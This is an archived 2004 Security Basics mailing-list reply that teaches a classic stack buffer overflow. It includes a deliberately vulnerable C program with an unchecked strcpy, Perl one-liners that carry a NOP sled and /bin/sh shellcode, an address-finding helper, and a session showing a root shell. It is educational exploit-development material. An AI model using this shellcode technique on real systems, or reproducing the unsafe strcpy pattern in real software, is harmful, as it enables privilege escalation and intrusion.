Security Basics mailing list archives
RE: Buffer Overflow problem
From: Shaun Colley <shaunige () yahoo co uk>
Date: Sat, 8 May 2004 08:24:28 +0100 (BST)
Hi,
The problem is incorrect padding. I'll try explaining, but keep in mind that
I believe Krzysztof to be correct on this one. You
need to write far enough past the buffer for your
address to reach EIP.
Try exploiting a program like this:
--- vuln.c ---
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[5];
strcpy(buf, argv[1]);
return(0); /* shouldn't get here if we overflow buf
*/
}
--- EOF ---
Due to calculations, I happen to know that you would
need to overwrite 28 bytes past 'buf' to hit the EIP
register. Try something like this:
--- example ---
[shaun@localhost tmp]$ perl -e 'print "\x90"x50 .
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
shell
[shaun@localhost tmp]$ export HACK=`cat shell`
[shaun@localhost tmp]$ ./gtev HACK
HACK is stored at address 0xbffffa56
[shaun@localhost tmp]$ ./vuln `perl -e 'print "HACK"x7
. "\x56\xfa\xff\xbf"'`
sh-2.05b# exit
exit
[shaun@localhost tmp]$ ./vuln `perl -e 'print
"\x56\xfa\xff\xbf"x50'`
sh-2.05b# exit
exit
[shaun@localhost tmp]$
--- EO example ---
Using the environmental variable method to store
shellcode and nop sleds, it can make your job
substantially easier. By the way, gtev.c is below
(the program I used to get the address of $HACK):
--- gtev.c ---
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <environ_var>\n",
argv[0]);
exit(-1);
}
char *addr_ptr;
addr_ptr = getenv(argv[1]);
if(addr_ptr == NULL) {
printf("Environmental variable %s does
not exist!\n", argv[1]);
exit(-1);
}
printf("%s is stored at address %p\n",
argv[1], addr_ptr);
return(0);
}
--- EOF ---
I'm far from being an expert too, but remember this:
it's only as hard as you make it. It's only, in
reality, a simple matter of placing some code in
memory, obtaining the address of that code, and then
overflowing the vulnerable buffer, thereby placing
your shellcode's address in EIP - thus your code is
executed.
Thank you for your time.
Shaun.
____________________________________________________________
Yahoo! Messenger - Communicate instantly..."Ping"
your friends today! Download Messenger Now
http://uk.messenger.yahoo.com/download/index.html
---------------------------------------------------------------------------
Ethical Hacking at the InfoSec Institute. Mention this ad and get $545 off
any course! All of our class sizes are guaranteed to be 10 students or less
to facilitate one-on-one interaction with one of our expert instructors.
Attend a course taught by an expert instructor with years of in-the-field
pen testing experience in our state of the art hacking lab. Master the skills
of an Ethical Hacker to better assess the security of your organization.
Visit us at:
http://www.infosecinstitute.com/courses/ethical_hacking_training.html
----------------------------------------------------------------------------
Current thread:
- Buffer Overflow problem John Vill (May 06)
- Re: Buffer Overflow problem Krzysztof Godlewski (May 07)
- <Possible follow-ups>
- RE: Buffer Overflow problem Steven Trewick (May 07)
- RE: Buffer Overflow problem Shaun Colley (May 10)
- Re: Buffer Overflow problem John Vill (May 10)
- Re: Buffer Overflow problem Krzysztof Godlewski (May 10)
- RE: Buffer Overflow problem John Vill (May 11)
- RE: Buffer Overflow problem JTH (May 12)
